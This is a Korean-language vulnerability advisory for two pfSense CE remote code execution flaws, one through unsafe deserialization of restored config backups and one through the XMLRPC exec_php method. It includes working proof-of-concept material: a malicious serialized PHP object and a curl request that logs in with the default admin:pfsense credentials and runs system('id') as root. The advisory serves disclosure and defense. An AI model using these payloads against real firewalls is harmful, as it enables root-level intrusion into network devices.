🔐 CVE-2025-69690 & CVE-2025-69691

Netgate pfSense Community Edition의 인증된 원격 코드 실행

📋 요약

⚠️ 면책 조항

이 연구는 교육 및 보안 인식 제고 목적으로만 격리된 랩 환경에서 수행되었습니다. 모든 발견 사항은 공개 전에 공급업체에 책임 있게 공개되었습니다. 본 권고는 프로덕션 시스템을 공격하라는 초대가 아니며, 무단 테스트는 불법입니다.

🎯 CVE-2025-69690

안전하지 않은 역직렬화 → RCE (pfSense CE 2.7.2)

설명

pfSense 구성 복원 메커니즘은 클래스 화이트리스트, 입력 검증, 샌드박싱 없이 사용자 제어 데이터에 대해 unserialize()를 호출합니다.

악성 직렬화된 PHP 객체를 포함하는 조작된 백업 파일은 post_reboot_commands 속성을 통해 임의 명령을 주입하며, 해당 명령은 전체 루트 권한으로 mwexec()를 통해 실행됩니다.

공격 흐름

[Attacker] → Login as admin
           → Upload malicious .xml backup file
           → Trigger restore
           → pfSense calls unserialize() on attacker data
           → post_reboot_commands executed via mwexec()
           → [ROOT SHELL]

영향받는 구성 요소

• config.php — 복원 처리 로직
• pfsense_module_installer 클래스 — 안전하지 않은 역직렬화 대상
• mwexec() — 명령 실행 싱크

PoC 페이로드

O:23:"pfsense_module_installer":1:{
  s:17:"*post_reboot_commands";
  a:1:{
    i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
  }
}

영향

• ✅ 루트 권한으로 임의 OS 명령 실행
• ✅ 지속적 백도어 설치
• ✅ 방화벽 완전 장악
• ✅ 자격 증명 및 구성 정보 유출

공급업체 응답

"확인했습니다. 인증된 관리자 권한 남용으로 분류됩니다. 패치는 제공되지 않습니다." — Netgate

🎯 CVE-2025-69691

XMLRPC exec_php → RCE (pfSense CE 2.8.0)

설명

pfSense CE 2.8.0은 검증, 샌드박싱 또는 어떤 형태의 제한도 없이 루트 권한으로 임의 PHP 코드를 실행하는 XMLRPC 메서드 pfsense.exec_php를 노출합니다.

해당 엔드포인트는 다음과 같습니다:

• ✅ 기본적으로 활성화됨
• ✅ HTTPS를 통해 원격으로 접근 가능
• ✅ Basic Authentication으로만 보호됨
• ✅ 기본 자격 증명(admin:pfsense)으로 악용 가능

공격 흐름

[Attacker] → Send XMLRPC request to /xmlrpc.php
           → Authenticate with admin:pfsense (default)
           → Call pfsense.exec_php with arbitrary PHP
           → Code executes as root, no sandboxing
           → [ROOT SHELL]

영향받는 구성 요소

• xmlrpc.php — API 진입점
• pfsense.exec_php — 안전하지 않은 동적 코드 실행
• BasicAuth 레이어 — 불충분한 접근 제어

PoC

curl -k -u admin:pfsense \
  -H "Content-Type: text/xml" \
  -d '<methodCall>
        <methodName>pfsense.exec_php</methodName>
        <params>
          <param>
            <value><string>system("id");</string></value>
          </param>
        </params>
      </methodCall>' \
  https://<target>/xmlrpc.php

영향

• ✅ 완전한 원격 루트 장악
• ✅ 임의 파일 읽기/쓰기
• ✅ 백도어 배포
• ✅ 방화벽 규칙 조작
• ✅ 모든 자격 증명 및 구성 추출

공급업체 응답

"확인했습니다. 인증된 사용자에게 예상되는 동작으로 분류됩니다. 패치 계획이 없습니다." — Netgate

📅 타임라인

November 2025     →  Vulnerabilities discovered
December 2, 2025  →  Responsible disclosure to Netgate
                  →  Vendor acknowledged, no patch planned
January 28, 2026  →  CVE IDs assigned by MITRE
February 2026     →  Public disclosure

🔗 참고 자료

• 🔴 cve.org의 CVE-2025-69690
• 🔴 cve.org의 CVE-2025-69691
• 📧 전체 공개: [email protected]

👤 연구자

Nelson Adhepeau — 독립 보안 연구원

📧 [email protected]